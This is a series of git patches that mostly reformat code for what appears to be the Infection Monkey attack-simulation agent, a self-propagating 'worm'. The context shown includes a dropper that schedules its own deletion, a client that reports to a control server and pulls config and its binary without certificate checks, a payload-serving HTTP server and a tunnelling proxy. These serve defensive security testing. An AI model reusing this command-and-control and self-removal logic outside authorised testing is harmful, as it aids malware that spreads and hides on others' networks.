@@ class MonkeyDrops(object): # mark the file for removal on next boot dropper_source_path_ctypes = c_char_p(self._config['source_path']) - if 0 == ctypes.windll.kernel32.MoveFileExA( dropper_source_path_ctypes, None, - MOVEFILE_DELAY_UNTIL_REBOOT): + if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None, + MOVEFILE_DELAY_UNTIL_REBOOT): LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)", self._config['source_path'], ctypes.windll.kernel32.GetLastError()) else: LOG.debug("Dropper source file '%s' is marked for deletion on next boot", - self._config['source_path']) \ No newline at end of file + self._config['source_path']) From 9d5ea03eb3489beb3c646b85828288b6b7579bb4 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 1 Oct 2017 18:05:05 +0300 Subject: [PATCH 16/18] PEP8+python exceptions --- chaos_monkey/control.py | 46 +++++++++++++++++++++-------------------- 1 file changed, 24 insertions(+), 22 deletions(-) diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index 2b440476c..ab5abec83 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -1,14 +1,16 @@ import json import logging -import requests import platform -import monkeyfs -from network.info import local_ips, check_internet_access from socket import gethostname -from config import WormConfiguration, GUID -from transport.tcp import TcpProxy -from transport.http import HTTPConnectProxy + +import requests + +import monkeyfs import tunnel +from config import WormConfiguration, GUID +from network.info import local_ips, check_internet_access +from transport.http import HTTPConnectProxy +from transport.tcp import TcpProxy __author__ = 'hoffer' @@ -60,7 +62,7 @@ class ControlClient(object): timeout=20) break - except Exception, exc: + except Exception as exc: WormConfiguration.current_server = "" LOG.warn("Error connecting to control server %s: %s", server, exc) @@ -83,13 +85,13 @@ class ControlClient(object): try: monkey = {} if ControlClient.proxies: - monkey['tunnel'] = ControlClient.proxies.get('https') + monkey['tunnel'] = ControlClient.proxies.get('https') reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), data=json.dumps(monkey), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) - except Exception, exc: + except Exception as exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) return {} @@ -97,7 +99,7 @@ class ControlClient(object): @staticmethod def send_telemetry(tele_type='general', data=''): if not WormConfiguration.current_server: - return + return try: telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data': data} reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), @@ -105,20 +107,20 @@ class ControlClient(object): headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) - except Exception, exc: + except Exception as exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) @staticmethod def load_control_config(): if not WormConfiguration.current_server: - return + return try: reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), verify=False, proxies=ControlClient.proxies) - except Exception, exc: + except Exception as exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) return @@ -126,7 +128,7 @@ class ControlClient(object): try: unknown_variables = WormConfiguration.from_dict(reply.json().get('config')) LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),)) - except Exception, exc: + except Exception as exc: # we don't continue with default conf here because it might be dangerous LOG.error("Error parsing JSON reply from control server %s (%s): %s", WormConfiguration.current_server, reply._content, exc) @@ -141,11 +143,11 @@ class ControlClient(object): return try: requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), - data=json.dumps({'config_error': True}), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies) - except Exception, exc: + data=json.dumps({'config_error': True}), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies) + except Exception as exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) return {} @@ -215,7 +217,7 @@ class ControlClient(object): if size == monkeyfs.getsize(dest_file): return dest_file - except Exception, exc: + except Exception as exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) @@ -243,7 +245,7 @@ class ControlClient(object): else: return None, None - except Exception, exc: + except Exception as exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) @@ -253,7 +255,7 @@ class ControlClient(object): def create_control_tunnel(): if not WormConfiguration.current_server: return None - + my_proxy = ControlClient.proxies.get('https', '').replace('https://', '') if my_proxy: proxy_class = TcpProxy From 637b704fa2bb473e073e5f987850cbcc21bcc245 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 1 Oct 2017 18:05:37 +0300 Subject: [PATCH 17/18] remove fully qualified path --- chaos_monkey/build_windows.bat | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/chaos_monkey/build_windows.bat b/chaos_monkey/build_windows.bat index f7f2b0da5..e5ff5a805 100644 --- a/chaos_monkey/build_windows.bat +++ b/chaos_monkey/build_windows.bat @@ -1 +1 @@ -c:\python27\Scripts\pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec \ No newline at end of file +pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec \ No newline at end of file From 39ab50f3760f492d7d2ebb34c2213fda2a707c5c Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 1 Oct 2017 19:25:53 +0300 Subject: [PATCH 18/18] Fix inconsistent return value in send_head --- chaos_monkey/transport/http.py | 42 +++++++++++++++++++--------------- 1 file changed, 23 insertions(+), 19 deletions(-) diff --git a/chaos_monkey/transport/http.py b/chaos_monkey/transport/http.py index e51074745..ee198a08a 100644 --- a/chaos_monkey/transport/http.py +++ b/chaos_monkey/transport/http.py @@ -1,10 +1,14 @@ -import urllib, BaseHTTPServer, threading, os.path -import monkeyfs -from logging import getLogger -from base import TransportProxyBase, update_last_serve_time -from urlparse import urlsplit +import BaseHTTPServer +import os.path import select import socket +import threading +import urllib +from logging import getLogger +from urlparse import urlsplit + +import monkeyfs +from base import TransportProxyBase, update_last_serve_time __author__ = 'hoffer' @@ -24,7 +28,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_POST(self): self.send_error(501, "Unsupported method (POST)") - return + return def do_GET(self): """Serve a GET request.""" @@ -55,9 +59,9 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): f.close() def send_head(self): - if self.path != '/'+urllib.quote(os.path.basename(self.filename)): - self.send_error (500, "") - return + if self.path != '/' + urllib.quote(os.path.basename(self.filename)): + self.send_error(500, "") + return None, 0, 0 f = None try: f = monkeyfs.open(self.filename, 'rb') @@ -67,7 +71,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): size = monkeyfs.getsize(self.filename) start_range = 0 end_range = size - + if "Range" in self.headers: s, e = self.headers['range'][6:].split('-', 1) sl = len(s) @@ -80,7 +84,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): ei = int(e) if ei < size: start_range = size - ei - + if start_range == 0 and end_range - start_range >= size: self.send_response(200) else: @@ -88,7 +92,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): else: self.send_response(200) - self.send_header("Content-type", "application/octet-stream") + self.send_header("Content-type", "application/octet-stream") self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size)) self.send_header("Content-Length", min(end_range - start_range, size)) self.end_headers() @@ -101,9 +105,9 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler): - timeout = 30 # timeout with clients, set to None not to make persistent connection - proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header - protocol_version = "HTTP/1.1" + timeout = 30 # timeout with clients, set to None not to make persistent connection + proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header + protocol_version = "HTTP/1.1" def version_string(self): return "" @@ -120,7 +124,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler): conn = socket.create_connection(address) except socket.error, e: LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e)) - self.send_error(504) # 504 Gateway Timeout + self.send_error(504) # 504 Gateway Timeout return self.send_response(200, 'Connection Established') self.send_header('Connection', 'close') @@ -163,12 +167,12 @@ class HTTPServer(threading.Thread): @staticmethod def report_download(dest=None): - LOG.info('File downloaded from (%s,%s)' % (dest[0],dest[1])) + LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) self.downloads += 1 httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) - httpd.timeout = 0.5 # this is irrelevant? - + httpd.timeout = 0.5 # this is irrelevant? + while not self._stopped and self.downloads < self.max_downloads: httpd.handle_request()